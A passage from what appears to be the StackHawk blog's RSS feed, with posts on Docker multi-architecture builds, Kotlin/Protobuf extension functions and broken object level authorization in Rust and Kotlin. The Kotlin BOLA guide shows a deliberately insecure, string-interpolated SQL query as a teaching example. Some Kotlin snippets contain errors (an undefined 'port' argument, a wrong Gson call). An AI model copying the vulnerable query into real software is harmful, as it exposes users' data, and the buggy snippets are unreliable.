allows for building images for multiple architectures. Docker Desktop includes this emulation support by default, but building outside of the desktop version of Docker will require using the &lt;a href=&quot;https://github.com/tonistiigi/binfmt&quot;&gt;&lt;u&gt;tonistiigi/binfmt&lt;/u&gt;&lt;/a&gt; image. Additionally, when communicating with the Docker API, the environment variable ​​DOCKER_BUILDKIT=1 must be specified as a property in the API request. This would normally be set automatically by Docker Desktop. More information on building images with BuildKit can be found &lt;a href=&quot;https://docs.docker.com/develop/develop-images/build_enhancements/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Registries vs. repositories and images vs. manifests&lt;/h3&gt;&lt;p&gt;A registry is a directory of listed container repositories and serves as the location of stored images. A registry may be either local to an individual user’s computer or public in a location such as DockerHub. Google Registry, Amazon ECR and Dockerhub are registries. A repository is a specific location in a registry and exists as a collection of images with associated tags to identify different builds or container contents.
&lt;/p&gt;&lt;p&gt;A Docker image is the container built for a specific architecture. Registries can also host manifests, which are associations of common images and the specific architectures they are built for. They allow anyone to pull the manifest as if it were an image and to receive the correct image based on their client architecture. &lt;/p&gt;&lt;h2&gt;Using Gradle tasks to build multi-architecture images in CICD&lt;/h2&gt;&lt;p&gt;In order to automate the build of our HawkScan Docker image, we used &lt;a href=&quot;https://docs.gradle.org/current/userguide/tutorial_using_tasks.html&quot;&gt;&lt;u&gt;Gradle Tasks&lt;/u&gt;&lt;/a&gt; to trigger the creation of multi-architecture Docker images in our CICD pipeline. Once the task is triggered, images are built for amd64 and arm64architectures, the images are tagged locally and pushed to Amazon ECR, and then the manifest is generated. The &lt;a href=&quot;https://github.com/docker-java/docker-java&quot;&gt;&lt;u&gt;Java API client for Docker&lt;/u&gt;&lt;/a&gt; was extremely helpful in building out these tasks. We extended this functionality to our platform services, which we can now develop on arm64 machines. This enables us to easily add new architectures to run our software on in the future, and gives our developers the tools to build StackHawk on &lt;a href=&quot;https://www.apple.com/newsroom/2020/11/apple-unleashes-m1/&quot;&gt;&lt;u&gt;Apple’s M1 silicon&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;Significant research went into learning how to build arm64-compatible images of HawkScan and our platform services. Learning the nuances of how Docker handles multi-architecture builds in different contexts proved instrumental in developing images with arm64 compatibility. Undergoing this process has yielded great benefits as we are ready to build our products and services on existing architectures and on new architectures to come. We hope that sharing these findings will enable you to more smoothly move in the direction of building software compatible with multiple platforms.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Kotlin & Protobuf Tips & Tricks]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/kotlin-and-protobuf-tips-and-tricks</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[Topher Lamey]]></dc:creator><content:encoded>&lt;p&gt;At StackHawk, we&amp;#39;ve been really happy using Kotlin with Protobuf for the last few years. We have been using the generated Java classes in our Kotlin code, which has worked out well. Recently Kotlin became a first-class language for the protoc compiler, and we are looking to switch to the Kotlin generated classes.&lt;/p&gt;&lt;p&gt;As part of this move, here are some tips and tricks we&amp;#39;ve learned:&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Non-GRPC Protobuf Gradle Plugin Generating Kotlin Classes&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The Protobuf Gradle Plugin now comes with built-in protoc compiler support for Kotlin. Unlike Java, the plugin does not enable Kotlin generation by default.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s an example Protobuf Gradle Plugin config to generate non-GRPC Kotlin:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Kotlin extension functions for Protos&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Adding extension functions to proto messages has proven very useful. Our protos are built and shared with other projects as a jar library. That way, we write extension functions in one place, and they&amp;#39;re available to all projects.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Building a field with a function&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;One case we&amp;#39;ve had a few times is when we have several pieces of data used to create a single field on a proto. In the following example, the Alert message has a url that gets created with a specific format by two pieces of data, the host and port.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Rather than duplicate the code to add the prefix and colon in the middle of the url string, we can create an extension function to make sure the url variable is created consistently.&lt;/p&gt;&lt;p&gt;&lt;code&gt;fun AlertKt.Dsl.url(host: String, path: String): AlertKt.Dsl {
    url = &amp;quot;https://$host:$path&amp;quot;
    return this
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;And then use it like so:&lt;/p&gt;&lt;p&gt;&lt;code&gt;fun handleAlert(host: String, url: String) {
    val alert = alert {
        url(host, port)
    }
    doSomethingInteresting(alert)
}&lt;/code&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Building a field with a custom builder class&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Given the Alert proto definition above, we could also use a custom builder class to build the url field. This is useful when the proto definition can&amp;#39;t change.&lt;/p&gt;&lt;p&gt;Here we define a function receiver and associated builder class:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;With those, when we go to make an Alert, we can do:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Functions for JSON Handling&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;We have some projects where we need to convert generated Protobuf objects to and from JSON.&lt;/p&gt;&lt;p&gt;An extension function to generate a JSON string of a given protobuf object works nicely.&lt;/p&gt;&lt;p&gt;&lt;code&gt;fun Scan.toJson(): String = Gson().toJson(this)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;For reading in, there are a few options. Here&amp;#39;s an example of a simple function that takes the json string and returns a fully realized Scan.&lt;/p&gt;&lt;p&gt;&lt;code&gt;fun fromJson(json: String): Scan = Gson(json, Scan::class.java)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Using the two functions is easy:&lt;/p&gt;&lt;p&gt;&lt;code&gt;val json = scan.toJson()
val scanFromJson = fromJson(json)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Wrapping Proto subcollections&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;We have had a few instances where we&amp;#39;ve needed to independently export a proto message&amp;#39;s collection as JSON. Here&amp;#39;s an example to help illustrate:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In this case, we need to generate a JSON array of the scan&amp;#39;s alerts. We don&amp;#39;t want to create a new proto message that just has a list of alerts. Instead, we can create a custom data class that just wraps the proto objects:&lt;/p&gt;&lt;p&gt;&lt;code&gt;data class AlertsWrapper(val alerts: List&amp;lt;Alert&amp;gt;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Then we can just add extension functions that know how to read and write the JSON strings:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Then using them looks like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;val alertsJson = scan.alertsToJson()
val newScan = scan {
    alerts(alertsJson)
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Example Code&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;All this code, including a working build.gradle.kts that uses the Protobuf Gradle plugin for non-GRPC use can be found at &lt;a href=&quot;https://github.com/kaakaww/kotlin-extension-functions-for-protos&quot;&gt;https://github.com/kaakaww/kotlin-extension-functions-for-protos&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rust Broken Object Level Authorization Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rust-broken-object-level-authorization-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Broken object level authorization (BOLA) is a serious API problem that can result in attackers deleting, altering, or misusing data. It happens when an API allows a user to access and alter data they shouldn&amp;#39;t be able to. &lt;/p&gt;&lt;p&gt;Unlike other security issues, BOLA doesn&amp;#39;t necessarily require an attacker to hack their way into a system. If they&amp;#39;re aware of the problem, they can create a user and access data without any extra work. &lt;/p&gt;&lt;p&gt;This article will discuss broken object level authorization (BOLA) problems in Rust applications. We&amp;#39;ll look at an API example that takes advantage of Rusts&amp;#39; &lt;a href=&quot;https://docs.rs/tide/0.16.0/tide/&quot;&gt;&lt;u&gt;Tide&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://diesel.rs&quot;&gt;&lt;u&gt;Diesel&lt;/u&gt;&lt;/a&gt; crates to avoid this serious security issue, then we&amp;#39;ll talk about how to apply these concepts to your code. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Broken Object Level Authorization&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When an application doesn&amp;#39;t check a user&amp;#39;s entitlements before allowing access to a resource, it suffers from broken object level authorization. So, users can retrieve, modify, create and even delete resources because the application doesn&amp;#39;t verify user access at the individual item level. &lt;/p&gt;&lt;p&gt;BOLA is a design deficiency. It&amp;#39;s easy to enable an application with authentication because so many third-party services and libraries do the heavy lifting for you. The responsibility for ensuring a user has access to the resource they want and the rights to perform the action they need falls to the application code. &lt;/p&gt;&lt;p&gt;Attackers take advantage of BOLA problems quickly. They are very easy to exploit since they only need an unprivileged user and an API tool like cURL or Wget. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;A Broken Object Level Authorization Example&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;RESTful API Implementation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s take a look at a simple API for managing blog posts. &lt;/p&gt;&lt;p&gt;The API represents an Article with a JSON object that looks like this: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The client doesn&amp;#39;t supply the &lt;b&gt;slug&lt;/b&gt; for a new article. When the server creates the article, it returns the &lt;b&gt;slug&lt;/b&gt; and acts as the article identifier. &lt;/p&gt;&lt;p&gt;The application offers typical CRUD endpoints, although the endpoints include the slug for operations on an article that exists: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GET&lt;/b&gt; /articles/ with no argument retrieves a list of all articles.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;POST&lt;/b&gt; /articles/ with a JSON record to add a new article.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;PUT&lt;/b&gt; /articles/{slug} with a JSON record updates an existing article.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GET&lt;/b&gt; /articles/{slug} to retrieve an article by slug.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;DELETE&lt;/b&gt; /articles/{slug} deletes an article by slug.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;BOLA API Issue&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This is part of an API for a blog site. Users post articles. As time passes, they may decide to update or even delete them. But since posts are associated with users, it&amp;#39;s important that only the user that created an article can alter or remove them. &lt;/p&gt;&lt;p&gt;So at a minimum, the website should provide object-level authorization like this: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Users can only read posts without logging in.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Authenticated users may add posts.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Only the user that created a post can update it.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Only the user that created the post can delete it.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;A more sophisticated API would add elevated object level authorization for an administrator user, but that&amp;#39;s beyond the scope of this tutorial. &lt;/p&gt;&lt;p&gt;Regardless of the details, merely checking that a user has a valid session isn&amp;#39;t adequate. The application has to verify that only users can modify their data. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Rust (un)Broken Object Level Authorization&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;Sample Rust RESTful API&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Enforcing proper object level authorization is up to the application, and developers design the best implementations with data ownership and access in mind. We&amp;#39;re going to use code from the &lt;b&gt;realworld-tide&lt;/b&gt; sample code on &lt;a href=&quot;https://github.com/colinbankier/realworld-tide&quot;&gt;&lt;u&gt;GitHub&lt;/u&gt;&lt;/a&gt;. It uses the &lt;a href=&quot;https://docs.rs/tide/0.16.0/tide/&quot;&gt;&lt;u&gt;Tide crate&lt;/u&gt;&lt;/a&gt; for serving the web API and &lt;a href=&quot;https://diesel.rs&quot;&gt;&lt;u&gt;Diesel&lt;/u&gt;&lt;/a&gt; for the database. It&amp;#39;s designed from the ground up with proper object level authorization. In other words, it doesn&amp;#39;t suffer from BOLA. Let&amp;#39;s see how. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s start with the routes for managing articles. I&amp;#39;ve snipped out the rest of the API, so the code is easier to read: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Each route calls a function in the &lt;b&gt;articles&lt;/b&gt; crate with the requested information as the sole argument. &lt;/p&gt;&lt;p&gt;First, here&amp;#39;s the function for creating a new article: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;First, on line #4, this code extracts the article body from the Tide request context. &lt;/p&gt;&lt;p&gt;Then line #8 gets the authenticated user id via the application state, which it also retrieves from the request context. If the requestor isn&amp;#39;t authenticated, they receive a 401 error. &lt;/p&gt;&lt;p&gt;Finally, the code retrieves the repository and then retrieves an author object and calls &lt;b&gt;publish.&lt;/b&gt; Why not call the repository directly? &lt;/p&gt;&lt;h3&gt;&lt;b&gt;A User-Centric Design&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Here&amp;#39;s the publish method. It&amp;#39;s a member of a &lt;b&gt;User&lt;/b&gt; class. It&amp;#39;s a wrapper for &lt;b&gt;publish_article&lt;/b&gt; in the repository. &lt;b&gt;Publish&lt;/b&gt; calls the repository with a reference to itself: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This method exists for one reason: to ensure that the article has the correct user associated with it. This association makes sense for a blog site. Articles have authors. &lt;/p&gt;&lt;p&gt;But instead of making the author a text field with a name in it, this design takes it a step further by centering operations on articles on the users. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Update an Article with Proper Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Next, let&amp;#39;s trace through what happens when a user tries to update an article. &lt;/p&gt;&lt;p&gt;We start here: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The first few lines are identical to &lt;b&gt;insert_article:&lt;/b&gt; get the article body, get the user, and the repository. &lt;/p&gt;&lt;p&gt;Then on line #12, we retrieve the original article before passing it to the &lt;b&gt;User&lt;/b&gt; class on line #14. &lt;/p&gt;&lt;p&gt;So, let&amp;#39;s take a look at what happens there: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Lines #7 - #12 are where the code enforces object level authorization. Before modifying the object, the code ensures that the authenticated user owns the article. &lt;/p&gt;&lt;p&gt;Before we move on, let&amp;#39;s verify that the code enforces proper authorizations for deleting articles: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;There&amp;#39;s the same check! This code enforces proper object level authorization for blog posts. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Fixing Broken Object Level Authorization&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;So that&amp;#39;s what code that&amp;#39;s designed to avoid BOLA looks like. How do you fix existing code? &lt;/p&gt;&lt;p&gt;We can derive basic rules from the code above. &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The application must store all objects with an owner. The owner may be a user, a group, or a role.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Users must authenticate before they can alter an object.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Before they alter an object, the application must check that authenticated users own the object or are members of a group or role that has &amp;quot;write&amp;quot; access to the object.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;How difficult it is to retrofit this into legacy code will vary. &lt;/p&gt;&lt;p&gt;Do your objects already have a notion of ownership? If not, that&amp;#39;s where you need to start. &lt;/p&gt;&lt;p&gt;But, if your objects already have owners, is it easy to access this info from the modify and delete functions? If it is, your work is nearly done! Otherwise, figure out how to expose this to the rest of the code. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Avoiding Rust BOLA&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In this post, we covered BOLA in Rust code and how to avoid it. We discussed what BOLA is and how it can lead to serious data exposures. Then we looked at a well-designed Rust application designed to avoid the problem. Finally, we discussed how you can apply these concepts to legacy code. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Eric Goebelbecker. &lt;/i&gt;&lt;a href=&quot;http://ericgoebelbecker.com/&quot;&gt;&lt;i&gt;&lt;u&gt;Eric&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; has worked in the financial markets in New York City for 25 years, developing infrastructure for market data and financial information exchange (FIX) protocol networks. He loves to talk about what makes teams effective (or not so effective!).&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Kotlin Broken Object Level Authorization Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/kotlin-broken-object-level-authorization-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Broken object-level authorization (BOLA) is a vulnerability that grants users access to data without them having the necessary privilege. &lt;/p&gt;&lt;p&gt;Broken object-level tops OWASP&amp;#39;s &lt;a href=&quot;https://owasp.org/API-Security/editions/2023/en/0x00-header/&quot;&gt;&lt;u&gt;API Security Top 10 20&lt;/u&gt;&lt;/a&gt;23. As a result, it&amp;#39;s important to test your application for this type of vulnerability. &lt;/p&gt;&lt;p&gt;In this post, you&amp;#39;ll learn about what broken object-level authorization is. We&amp;#39;ll also look at some examples of this vulnerability and how to prevent each one. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is Broken Object-level Authorization?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;What is broken object-level authorization in Kotlin and how do you prevent it? In order to answer both questions, we&amp;#39;ll walk through an example of a todo app API. This example API has an endpoint that returns a list of all tasks created by a specific user. Also, each task has an owner ID (user-id) that helps the system know who that task is for. &lt;/p&gt;&lt;p&gt;So, let&amp;#39;s say the URL for our endpoint for fetching todo tasks looks like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://example.com/api/todos/{user-id}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Where &lt;b&gt;user-id&lt;/b&gt; is the key for fetching all tasks belonging to a specific user. &lt;/p&gt;&lt;p&gt;Now, if a user is able to guess a valid user-id and the system returns the tasks for the original owner of those tasks, we can say there&amp;#39;s a potential broken object-level authorization vulnerability. &lt;/p&gt;&lt;p&gt;To further explain what BOLA means, let&amp;#39;s first take a look at what object-level authorization is. &lt;/p&gt;&lt;p&gt;According to &lt;a href=&quot;https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/&quot;&gt;&lt;u&gt;OWASP&lt;/u&gt;&lt;/a&gt;, &amp;quot;object level authorization is an access control mechanism that is usually implemented at the code level to validate that one user can only access objects that they should have access to.&amp;quot; &lt;/p&gt;&lt;p&gt;From the above definition, we see that the major cause of broken object-level authorization is poor code-level validation. &lt;/p&gt;&lt;p&gt;In BOLA, the attacker takes advantage of an application&amp;#39;s features and endpoints that do not perform proper verification of a user&amp;#39;s authority before executing a task and returning data. For example, an app that&amp;#39;s vulnerable to broken object-level authorization may allow a user to read private data like messages for another user by manipulating request parameters.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Examples of Broken Object-Level Authorization in Kotlin&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In this section, we&amp;#39;ll look at three examples of broken object-level authorization vulnerabilities in Kotlin. In addition, we&amp;#39;ll also walk through how to prevent each vulnerability. &lt;/p&gt;&lt;p&gt;Remember our todo example app API from earlier? We&amp;#39;ll be referring to it in these examples. The Kotlin framework &lt;a href=&quot;https://ktor.io/&quot;&gt;&lt;u&gt;Ktor&lt;/u&gt;&lt;/a&gt; powers the API. In addition, the API stores user data in an SQL database, and we can query the database for specific data using user inputs. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Read All Tasks for Specific User&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The normal flow of the example app requires that a user can only view a list of tasks they own. That is, the tasks a user creates. &lt;/p&gt;&lt;p&gt;Our example API has an endpoint that returns all tasks for a specific user. As a result, there&amp;#39;s code that reads the data from the &lt;b&gt;tasks&lt;/b&gt; table on the SQL database. This code depends on a &lt;b&gt;user-id&lt;/b&gt; parameter from the API URL. Then, it uses the value for &lt;b&gt;user-id&lt;/b&gt; in a query as follows: &lt;/p&gt;&lt;p&gt;&lt;code&gt;todoResult = stmt.executeQuery(&amp;quot;SELECT task_title FROM tasks WHERE id=$userId;&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In a vulnerable app, an attacker can modify the value for &lt;b&gt;user-id&lt;/b&gt; to a valid ID for another user in our database so that the above code will return all tasks for that user. This is an example of broken object-level authorization because there&amp;#39;s unauthorized access to private data. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Prevention&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;You can prevent this flaw by validating that the user sending the request to the API is authorized to see the task. &lt;/p&gt;&lt;p&gt;We can do this by authenticating the user and sending session identifiers like access tokens as part of the request. However, enforcing only authentication to an API endpoint is usually not enough to prevent access to sensitive data without privilege. In fact, leaving restrictions at authentication only can increase the risk of broken object-level authorization. For example, only checking for authentication may mean that an attacker can authenticate as one user and access data for another user. The following code demonstrates the flow for validating a user before returning data: &lt;/p&gt;&lt;p&gt;&lt;code&gt;if(currentUser.user_id == request.user_id) {
   return tasks
} else {
   return errorMessage
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Read Single Todo Item (Task)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Another feature of the todo app API is an endpoint that returns full details about a specific task. Again, this endpoint depends on an identifier that&amp;#39;s part of the URL. The normal flow is that users can only view full details of a task they own. &lt;/p&gt;&lt;p&gt;The following is the URL for the endpoint in this example: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://example.com/api/detail/{task-id}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Here,&lt;b&gt; task-id&lt;/b&gt; is the unique key for querying the database. &lt;/p&gt;&lt;p&gt;An attacker can send random values for &lt;b&gt;task-id&lt;/b&gt; until the API returns data when one of the values matches a valid task ID. After that, the attacker will gain access to the full details of the task even though they are not the owner. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Prevention&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;This type of attack requires the attacker to send multiple requests to the endpoint until the application returns valid data. Hence, in addition to validating whether a user is authorized to see a task, we can reduce some of the risks of this type of attack by rate-limiting our API endpoints. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;3. Admin-Only Feature&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In this third example, we&amp;#39;ll consider an endpoint for admins only that returns a list of all users on the todo app service. This list contains sensitive data like the names and emails of all users. That means if just any user gains knowledge of this endpoint and can access it, then data could be exposed. &lt;/p&gt;&lt;p&gt;For example, the URL for this endpoint is as follows: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://example.com/api/admin/users/{admin-uid}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The attacker may manipulate the value of &lt;b&gt;admin-uid&lt;/b&gt; till they get a valid one. If we don&amp;#39;t have enough validation in our code, this API will return the list of users. The attacker can then proceed to use this data for malicious things like phishing and sending scam emails. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Prevention&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;A good fix for this vulnerability is making sure that the request is authenticated. It&amp;#39;s also important to verify that the authenticated user ID is the same as the value for &lt;b&gt;admin-uid&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;In addition, if your application has extra fields in the database that defines user privilege, also verify that the current user has admin privilege. In addition to the above method, API rate-limiting can reduce risk here too. This helps by reducing the number of requests the attacker can send to the endpoint before guessing a valid value for &lt;b&gt;admin-uid&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;You can also prevent broken object-level authorization include using values that are hard to predict for user IDs and other identifiers. However, you should combine this method with validating a user. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Summing Up&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Broken object-level authorization is a type of flaw, usually in the code of an application that can lead to exposure of private user data. A Kotlin application, like an API built with Ktor and SQL, may be vulnerable to broken object-level authorization attacks. Attackers may perform such attacks by manipulating URL and request parameters. &lt;/p&gt;&lt;p&gt;From our examples, the most straightforward method for preventing broken object-level authorization in Kotlin is by validating who a user is and determining whether they can or can&amp;#39;t view the data they are requesting. You can do this using a regular &lt;b&gt;if&lt;/b&gt; statement. &lt;/p&gt;&lt;p&gt;One final recommendation: In order to reduce the risk of BOLA, you should test your API rigorously for unauthorized access to endpoints and data. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Pius Aboyi. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/aboyipius/?originalSubdomain=ng&quot;&gt;&lt;i&gt;&lt;u&gt;Pius&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a mobile and web developer with over 4 years of experience building for the Android platform. He writes code in Java, Kotlin, and PHP. He loves writing about tech and creating how-to tutorials for developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Guide to Security in Kotlin]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/guide-to-security-in-kotlin</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Security is a very important aspect of software development. However, securing applications can mean different things. For example, security in Kotlin may refer to being able to run your Kotlin application safely in JVM. Or security may be at the Kotlin language API level.&lt;/p&gt;&lt;p&gt;Another highly important level of security to consider as a developer is application security. Application security here refers to security vulnerabilities that exist when hackers take advantage of the code and features on your application to steal data or crash your entire service.&lt;/p&gt;&lt;p&gt;The Kotlin team has a bigger part in the responsibility for fixing security vulnerabilities relating to JVM and the language APIs. And they do this mostly by releasing updates and patches to Kotlin. In addition to that, they may also publish instructions for blocking vulnerabilities.&lt;/p&gt;&lt;p&gt;Application security, on the other hand, requires more effort from you, the developer. Examples of application security vulnerabilities include SQL injection, command injection, and XSS. So, fixing application security issues includes testing and patching a vulnerability like &lt;a href=&quot;https://www.stackhawk.com/blog/kotlin-sql-injection-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;SQL injection&lt;/u&gt;&lt;/a&gt;,&lt;a href=&quot;https://www.stackhawk.com/blog/kotlin-xss-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;cross-site scripting&lt;/u&gt;&lt;/a&gt;, &lt;a href=&quot;https://www.stackhawk.com/blog/kotlin-command-injection-examples-and-prevention/&quot;&gt;&lt;u&gt;command injection&lt;/u&gt;&lt;/a&gt;, &lt;a href=&quot;https://www.stackhawk.com/blog/kotlin-csrf-protection-guide-examples-and-how-to-enable-it/&quot;&gt;&lt;u&gt; cross-site request forgery&lt;/u&gt;&lt;/a&gt;, and &lt;a href=&quot;https://www.stackhawk.com/blog/kotlin-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it/&quot;&gt;&lt;u&gt;HTTP strict transport security header&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ll learn about security in Kotlin and see different ways to build a more secure Kotlin app. So, let&amp;#39;s get started.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Kotlin Security: Strengths and Weaknesses&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Is Kotlin a secure language? What are its strengths and weaknesses? We&amp;#39;ll answer both questions in this section.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Strengths&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Like many modern programming languages, Kotlin strives to be a secure, fast, and user-friendly tool in the hands of developers. The following are some of Kotlin&amp;#39;s strengths.&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Fewer crashes thanks to null safety&lt;/b&gt;: At the language API level, Kotlin offers&lt;a href=&quot;https://kotlinlang.org/docs/null-safety.html&quot;&gt;&lt;u&gt;null safety&lt;/u&gt;&lt;/a&gt; to reduce crashes in your application due to unexpected data or user input. When used properly, Kotlin&amp;#39;s null safety can prevent NullPointerException.&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. Data encryption&lt;/b&gt;: Kotlin has good libraries that make it easier for developers to encrypt data. One example of Kotlin data encryption libraries is&lt;a href=&quot;https://developer.android.com/jetpack/androidx/releases/security&quot;&gt;&lt;u&gt;Jetpack Security&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;b&gt;3. Frequent updates&lt;/b&gt;: 